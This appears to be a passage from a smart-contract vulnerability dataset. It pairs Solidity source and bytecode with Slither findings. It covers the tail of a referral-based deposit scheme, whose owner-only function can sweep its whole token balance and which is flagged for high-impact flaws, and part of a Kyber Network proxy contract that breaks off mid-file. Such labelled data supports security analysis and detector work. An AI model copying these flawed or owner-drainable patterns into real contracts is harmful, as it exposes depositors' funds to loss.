uint256 holdDays = (to.sub(from)).div(TIME_STEP);
if(holdDays > 0){
totalAmount = totalAmount.add(user.deposits[i].amount.mul(HOLD_BONUS.mul(holdDays)).div(PERCENTS_DIVIDER));
}
}
//end of plan
if(finish <= block.timestamp){
if(userDepositBonus[msg.sender][i] > 0){
totalAmount = totalAmount.add(user.deposits[i].amount.mul(userDepositBonus[msg.sender][i]).div(PERCENTS_DIVIDER));
}
}
}
}
return totalAmount;
}
function getUserHoldBonus(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
if(user.checkpoint > 0){
uint256 holdBonus = 0;
if (user.checkpoint < block.timestamp) {
uint256 holdDays = (block.timestamp.sub(user.checkpoint)).div(TIME_STEP);
if(holdDays > 0){
holdBonus = holdDays.mul(HOLD_BONUS);
}
}
return holdBonus;
}
else{
return 0;
}
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256[3] memory referrals) {
return (users[userAddress].levels);
}
function getUserTotalReferrals(address userAddress) public view returns(uint256) {
return users[userAddress].levels[0]+users[userAddress].levels[1]+users[userAddress].levels[2];
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = plans[plan].percent;
amount = user.deposits[index].amount;
start = user.deposits[index].start;
finish = user.deposits[index].start.add(plans[user.deposits[index].plan].time.mul(TIME_STEP));
}
function getSiteInfo() public view returns(uint256 _totalInvested, uint256 _totalRef, uint256 _totalBonus) {
return(totalInvested, totalInvested.mul(TOTAL_REF).div(PERCENTS_DIVIDER),totalBonus);
}
function getUserInfo(address userAddress) public view returns(uint256 totalDeposit, uint256 totalWithdrawn, uint256 totalReferrals) {
return(getUserTotalDeposits(userAddress), getUserTotalWithdrawn(userAddress), getUserTotalReferrals(userAddress));
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
//config
function setMinMax(uint256 minAmount, uint256 minBonus) external {
require(msg.sender == ceoWallet, "only owner");
INVEST_MIN_AMOUNT = minAmount;
BONUS_MIN_AMOUNT = minBonus;
}
function setBonusStatus(bool status) external {
require(msg.sender == ceoWallet, "only owner");
bonusStatus = status;
}
function withdrawTokens(address tokenAddr, address to) external {
require(msg.sender == ceoWallet, "only owner");
IERC20 alttoken = IERC20(tokenAddr);
alttoken.transfer(to,alttoken.balanceOf(address(this)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
} | 0x608060405234801561001057600080fd5b50600436106102325760003560e01c80637e3abeea11610130578063c43a1808116100b8578063e85abe091161007c578063e85abe0914610656578063ee688e1c1461067c578063fb4cb32b14610684578063fbfcb279146106aa578063fc0c546a146106d057610232565b8063c43a1808146105ce578063cd23b441146105eb578063d7ffca91146105f3578063e262113e14610619578063e84cdabc1461062157610232565b8063a8aeb6c2116100ff578063a8aeb6c214610504578063a8dd07dc1461052a578063aecaa63414610532578063b668ac4b1461056b578063c0806b031461057357610232565b80637e3abeea1461046e578063a0aafaa714610494578063a522ad25146104b3578063a681f950146104e157610232565b80633ccfd60b116101be5780635216aeec116101825780635216aeec146103f5578063600d20ce146103fd5780636386c1c71461041a5780636bb18556146104405780636f9fb98a1461046657610232565b80633ccfd60b1461037157806348c372031461037b5780634a64e867146103a15780634bc4e085146103c75780634ce87053146103cf57610232565b8063153ab9df11610205578063153ab9df146102dd57806329420b741461030357806332bc298c1461031f57806336144c9a14610327578063389cabee1461036957610232565b806301c234a81461023757806303a93c0c14610251578063040a772e146102af5780630b97bc86146102d5575b600080fd5b61023f6106d8565b60408051918252519081900360200190f35b6102776004803603602081101561026757600080fd5b50356001600160a01b03166106de565b6040518082606080838360005b8381101561029c578181015183820152602001610284565b5050505090500191505060405180910390f35b61023f600480360360208110156102c557600080fd5b50356001600160a01b0316610735565b61023f610a03565b61023f600480360360208110156102f357600080fd5b50356001600160a01b0316610a09565b61030b610a32565b604080519115158252519081900360200190f35b61023f610a3b565b61034d6004803603602081101561033d57600080fd5b50356001600160a01b0316610a42565b604080516001600160a01b039092168252519081900360200190f35b61034d610a63565b610379610a72565b005b61023f6004803603602081101561039157600080fd5b50356001600160a01b0316610c1d565b61023f600480360360208110156103b757600080fd5b50356001600160a01b0316610c3b565b61023f610cc3565b6103d7610cc8565b60408051938452602084019290925282820152519081900360600190f35b61023f610cf7565b61023f6004803603602081101561041357600080fd5b5035610cfd565b6103d76004803603602081101561043057600080fd5b50356001600160a01b0316610d1b565b61023f6004803603602081101561045657600080fd5b50356001600160a01b0316610d48565b61023f610d7a565b61023f6004803603602081101561048457600080fd5b50356001600160a01b0316610df6565b610379600480360360208110156104aa57600080fd5b50351515610e6e565b610379600480360360408110156104c957600080fd5b506001600160a01b0381358116916020013516610ecd565b610379600480360360408110156104f757600080fd5b5080359060200135611017565b61023f6004803603602081101561051a57600080fd5b50356001600160a01b031661106e565b61023f611089565b6105526004803603602081101561054857600080fd5b503560ff1661108f565b6040805192835260208301919091528051918290030190f35b61023f6110df565b61059f6004803603604081101561058957600080fd5b506001600160a01b0381351690602001356110e4565b6040805160ff909616865260208601949094528484019290925260608401526080830152519081900360a00190f35b61023f600480360360208110156105e457600080fd5b50356111ca565b61023f6111d7565b61023f6004803603602081101561060957600080fd5b50356001600160a01b03166111dd565b61023f6111fb565b6103796004803603606081101561063757600080fd5b506001600160a01b038135169060ff6020820135169060400135611201565b61023f6004803603602081101561066c57600080fd5b50356001600160a01b0316611851565b61023f61186f565b61023f6004803603602081101561069a57600080fd5b50356001600160a01b0316611874565b61023f600480360360208110156106c057600080fd5b50356001600160a01b0316611892565b61034d6118c0565b6103e881565b6106e6611cbc565b6001600160a01b0382166000908152600a60205260409081902081516060810192839052916003918201919082845b81548152602001906001019080831161071557505050505090505b919050565b6001600160a01b0381166000908152600a6020526040812081805b82548110156109fb5760006107e36107b462015180600987600001868154811061077657fe5b6000918252602090912060039091020154815460ff90911690811061079757fe5b60009182526020909120600290910201549063ffffffff6118cf16565b8560000184815481106107c357fe5b90600052602060002090600302016002015461192f90919063ffffffff16565b905080846001015410156109f257600061087b6103e861086f600988600001878154811061080d57fe5b6000918252602090912060039091020154815460ff90911690811061082e57fe5b90600052602060002090600202016001015488600001878154811061084f57fe5b9060005260206000209060030201600101546118cf90919063ffffffff16565b9063ffffffff61198916565b90506000856001015486600001858154811061089357fe5b906000526020600020906003020160020154116108b45785600101546108d6565b8560000184815481106108c357fe5b9060005260206000209060030201600201545b905060004284106108e757426108e9565b835b90508082101561098b5761092a61091d6201518061086f610910858763ffffffff6119f316565b879063ffffffff6118cf16565b879063ffffffff61192f16565b955060006109456201518061086f848663ffffffff6119f316565b90508015610989576109866109796103e861086f61096a600a8663ffffffff6118cf16565b8c6000018b8154811061084f57fe5b889063ffffffff61192f16565b96505b505b4284116109ee57336000908152600b60209081526040808320888452909152902054156109ee57336000908152600b6020908152604080832088845290915290205487546109eb9161091d916103e89161086f918c908b90811061084f57fe5b95505b5050505b50600101610750565b509392505050565b600c5481565b6000610a2c610a1783610735565b610a2084611851565b9063ffffffff61192f16565b92915050565b60085460ff1681565b6201518081565b6001600160a01b039081166000908152600a60205260409020600201541690565b600d546001600160a01b031681565b336000818152600a6020526040812091610a8b90610735565b90506000610a9833611851565b90508015610aba5760006006840155610ab7828263ffffffff61192f16565b91505b60008211610b07576040805162461bcd60e51b81526020600482015260156024820152745573657220686173206e6f206469766964656e647360581b604482015290519081900360640190fd5b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610b5257600080fd5b505afa158015610b66573d6000803e3d6000fd5b505050506040513d6020811015610b7c57600080fd5b5051905082811015610ba157610b98838263ffffffff6119f316565b60068501559150815b4260018501556008840154610bbc908463ffffffff61192f16565b6008850155600154610bde906001600160a01b0316338563ffffffff611a5016565b60408051848152426020820152815133927f92ccf450a286a957af52509bc1c9939d1a6a481783e142e41e2499f0bb66ebc6928290030190a250505050565b6001600160a01b03166000908152600a602052604090206007015490565b6001600160a01b0381166000908152600a60205260408120600181015415610cb3576001810154600090421115610caa576000610c8c6201518061086f8560010154426119f390919063ffffffff16565b90508015610ca857610ca581600a63ffffffff6118cf16565b91505b505b91506107309050565b6000915050610730565b50919050565b607881565b60045460009081908190610ce96103e861086f83607863ffffffff6118cf16565b600554925092509250909192565b60045481565b60028181548110610d0a57fe5b600091825260209091200154905081565b6000806000610d2984610df6565b610d3285611874565b610d3b86611892565b9250925092509193909250565b6001600160a01b0381166000908152600a602052604081206006810154600790910154610a2c9163ffffffff6119f316565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610dc557600080fd5b505afa158015610dd9573d6000803e3d6000fd5b505050506040513d6020811015610def57600080fd5b5051905090565b6000805b6001600160a01b0383166000908152600a6020526040902054811015610cbd576001600160a01b0383166000908152600a602052604090208054610e64919083908110610e4357fe5b9060005260206000209060030201600101548361192f90919063ffffffff16565b9150600101610dfa565b600d546001600160a01b03163314610eba576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b6008805460ff1916911515919091179055565b600d546001600160a01b03163314610f19576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b604080516370a0823160e01b8152306004820152905183916001600160a01b0383169163a9059cbb91859184916370a08231916024808301926020929190829003018186803b158015610f6b57600080fd5b505afa158015610f7f573d6000803e3d6000fd5b505050506040513d6020811015610f9557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610fe657600080fd5b505af1158015610ffa573d6000803e3d6000fd5b505050506040513d602081101561101057600080fd5b5050505050565b600d546001600160a01b03163314611063576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b600691909155600755565b6001600160a01b03166000908152600a602052604090205490565b60055481565b60008060098360ff16815481106110a257fe5b906000526020600020906002020160000154915060098360ff16815481106110c657fe5b9060005260206000209060020201600101549050915091565b600a81565b6001600160a01b0382166000908152600a602052604081208054829182918291829181908890811061111257fe5b60009182526020909120600390910201546009805460ff9092169750908790811061113957fe5b906000526020600020906002020160010154945080600001878154811061115c57fe5b906000526020600020906003020160010154935080600001878154811061117f57fe5b90600052602060002090600302016002015492506111bd6111ae620151806009846000018b8154811061077657fe5b8260000189815481106107c357fe5b9150509295509295909350565b60038181548110610d0a57fe5b60075481565b6001600160a01b03166000908152600a602052604090206001015490565b60065481565b600c544211611257576040805162461bcd60e51b815260206004820152601c60248201527f636f6e747261637420646f6573206e6f74206c61756e63682079657400000000604482015290519081900360640190fd5b60065481101561129a576040805162461bcd60e51b815260206004820152600960248201526832b93937b91036b4b760b91b604482015290519081900360640190fd5b60048260ff16106112e1576040805162461bcd60e51b815260206004820152600c60248201526b24b73b30b634b210383630b760a11b604482015290519081900360640190fd5b60015460408051636eb1769f60e11b815233600482015230602482015290516001600160a01b039092169163dd62ed3e91604480820192602092909190829003018186803b15801561133257600080fd5b505afa158015611346573d6000803e3d6000fd5b505050506040513d602081101561135c57600080fd5b50518111156113b2576040805162461bcd60e51b815260206004820152601760248201527f54616e73616374696f6e206e6f7420617070726f766564000000000000000000604482015290519081900360640190fd5b6001546113d0906001600160a01b031633308463ffffffff611aa716565b60006113e96103e861086f84606463ffffffff6118cf16565b600d5460015491925061140f916001600160a01b0390811691168363ffffffff611a5016565b60408051828152905133917f2899dc8c12def1caa9accb64257cf2fd9f960f21bb27a560a757eae3c2ec43c1919081900360200190a2336000908152600a6020526040902060028101546001600160a01b03166115b1576001600160a01b0385166000908152600a60205260409020541580159061149657506001600160a01b0385163314155b156114bd576002810180546001600160a01b0319166001600160a01b0387161790556114e2565b600d546002820180546001600160a01b0319166001600160a01b039092169190911790555b60028101546001600160a01b031660005b60038110156115ae576001600160a01b038216156115a1576115516001600a6000856001600160a01b03166001600160a01b03168152602001908152602001600020600301836003811061154357fe5b01549063ffffffff61192f16565b6001600160a01b0383166000908152600a602052604090206003908101908390811061157957fe5b01556001600160a01b039182166000908152600a6020526040902060020154909116906115a6565b6115ae565b6001016114f3565b50505b60028101546001600160a01b0316156117175760028101546001600160a01b031660005b6003811015611710576001600160a01b0382161561170357600061161f6103e861086f6002858154811061160557fe5b9060005260206000200154896118cf90919063ffffffff16565b6001600160a01b0384166000908152600a602052604090206006015490915061164e908263ffffffff61192f16565b6001600160a01b0384166000908152600a60205260409020600681019190915560070154611682908263ffffffff61192f16565b6001600160a01b0384166000818152600a6020908152604091829020600701939093558051848152905185933393927fd41f7e766eebcc7ff42b11ac8691bdf864db4afc0c55e71d629d54edce460d98929081900390910190a4506001600160a01b039182166000908152600a602052604090206002015490911690611708565b611710565b6001016115d5565b5050611758565b60006117306103e861086f86607863ffffffff6118cf16565b600d54600154919250611756916001600160a01b0390811691168363ffffffff611a5016565b505b8054611798574260018201556040805133815290517f9fd565cd14c3c391679eb0cad12a14dcf7534e9d3462bcb9b67a098a9bbbc24a9181900360200190a15b6040805160608101825260ff868116825260208083018781524294840194855285546001808201885560008881529390932094516003909102909401805460ff1916949093169390931782559151918101919091559051600290910155600454611802908461192f565b6004556040805160ff86168152602081018590524281830152905133917f5998f12fe9332603ffeda0abbc2ea68418dfad46909149aa0f4fcbd1d8f7c620919081900360600190a25050505050565b6001600160a01b03166000908152600a602052604090206006015490565b606481565b6001600160a01b03166000908152600a602052604090206008015490565b6001600160a01b03166000908152600a60205260409020600581015460048201546003909201549091010190565b6001546001600160a01b031681565b6000826118de57506000610a2c565b828202828482816118eb57fe5b04146119285760405162461bcd60e51b8152600401808060200182810382526021815260200180611cdb6021913960400191505060405180910390fd5b9392505050565b600082820183811015611928576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008082116119df576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b60008284816119ea57fe5b04949350505050565b600082821115611a4a576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611aa2908490611b07565b505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611b01908590611b07565b50505050565b611b1082611cb6565b611b61576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310611b9f5780518252601f199092019160209182019101611b80565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611c01576040519150601f19603f3d011682016040523d82523d6000602084013e611c06565b606091505b509150915081611c5d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611b0157808060200190516020811015611c7957600080fd5b5051611b015760405162461bcd60e51b815260040180806020018281038252602a815260200180611cfc602a913960400191505060405180910390fd5b3b151590565b6040518060600160405280600390602082028038833950919291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72305820ee6cb4f74d73321c895806fc29f7067e2b8d69d6aa1417d81ea481248613613464736f6c634300050a0032 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 180 |
0x3257073D3b80bAe378db8DEA32519938910D05cC | pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/KyberNetworkInterface.sol
/// @title Kyber Network interface
interface KyberNetworkInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(address trader, ERC20 src, uint srcAmount, ERC20 dest, address destAddress,
uint maxDestAmount, uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
}
// File: contracts/KyberNetworkProxyInterface.sol
/// @title Kyber Network interface
interface KyberNetworkProxyInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount,
uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
}
// File: contracts/SimpleNetworkInterface.sol
/// @title simple interface for Kyber Network
interface SimpleNetworkInterface {
function swapTokenToToken(ERC20 src, uint srcAmount, ERC20 dest, uint minConversionRate) public returns(uint);
function swapEtherToToken(ERC20 token, uint minConversionRate) public payable returns(uint);
function swapTokenToEther(ERC20 token, uint srcAmount, uint minConversionRate) public returns(uint);
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/Utils2.sol
contract Utils2 is Utils {
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(ERC20 token, address user) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
function getDecimalsSafe(ERC20 token) internal returns(uint) {
if (decimals[token] == 0) {
setDecimals(token);
}
return decimals[token];
}
/// @dev notice, overrides previous implementation.
function setDecimals(ERC20 token) internal {
uint decimal;
if (token == ETH_TOKEN_ADDRESS) {
decimal = ETH_DECIMALS;
} else {
if (!address(token).call(bytes4(keccak256("decimals()")))) {/* solhint-disable-line avoid-low-level-calls */
//above code can only be performed with low level call. otherwise all operation will revert.
// call failed
decimal = 18;
} else {
decimal = token.decimals();
}
}
decimals[token] = decimal;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns(uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
/**
* @title Contracts that should be able to recover tokens or ethers
* @author Ilan Doron
* @dev This allows to recover any tokens or Ethers received in a contract.
* This will prevent any accidental loss of tokens.
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all ERC20 compatible tokens
* @param token ERC20 The address of the token contract
*/
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/KyberNetworkProxy.sol
////////////////////////////////////////////////////////////////////////////////////////////////////////
/// @title Kyber Network proxy for main contract
contract KyberNetworkProxy is KyberNetworkProxyInterface, SimpleNetworkInterface, Withdrawable, Utils2 {
KyberNetworkInterface public kyberNetworkContract;
function KyberNetworkProxy(address _admin) public {
require(_admin != address(0));
admin = _admin;
}
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev makes a trade between src and dest token and send dest token to destAddress
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @param walletId is the wallet ID to send part of the fees
/// @return amount of actual dest tokens
function trade(
ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
)
public
payable
returns(uint)
{
bytes memory hint;
return tradeWithHint(
src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId,
hint
);
}
/// @dev makes a trade between src and dest token and send dest tokens to msg sender
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapTokenToToken(
ERC20 src,
uint srcAmount,
ERC20 dest,
uint minConversionRate
)
public
returns(uint)
{
bytes memory hint;
return tradeWithHint(
src,
srcAmount,
dest,
msg.sender,
MAX_QTY,
minConversionRate,
0,
hint
);
}
/// @dev makes a trade from Ether to token. Sends token to msg sender
/// @param token Destination token
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapEtherToToken(ERC20 token, uint minConversionRate) public payable returns(uint) {
bytes memory hint;
return tradeWithHint(
ETH_TOKEN_ADDRESS,
msg.value,
token,
msg.sender,
MAX_QTY,
minConversionRate,
0,
hint
);
}
/// @dev makes a trade from token to Ether, sends Ether to msg sender
/// @param token Src token
/// @param srcAmount amount of src tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapTokenToEther(ERC20 token, uint srcAmount, uint minConversionRate) public returns(uint) {
bytes memory hint;
return tradeWithHint(
token,
srcAmount,
ETH_TOKEN_ADDRESS,
msg.sender,
MAX_QTY,
minConversionRate,
0,
hint
);
}
struct UserBalance {
uint srcBalance;
uint destBalance;
}
event ExecuteTrade(address indexed trader, ERC20 src, ERC20 dest, uint actualSrcAmount, uint actualDestAmount);
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev makes a trade between src and dest token and send dest token to destAddress
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @param walletId is the wallet ID to send part of the fees
/// @param hint will give hints for the trade.
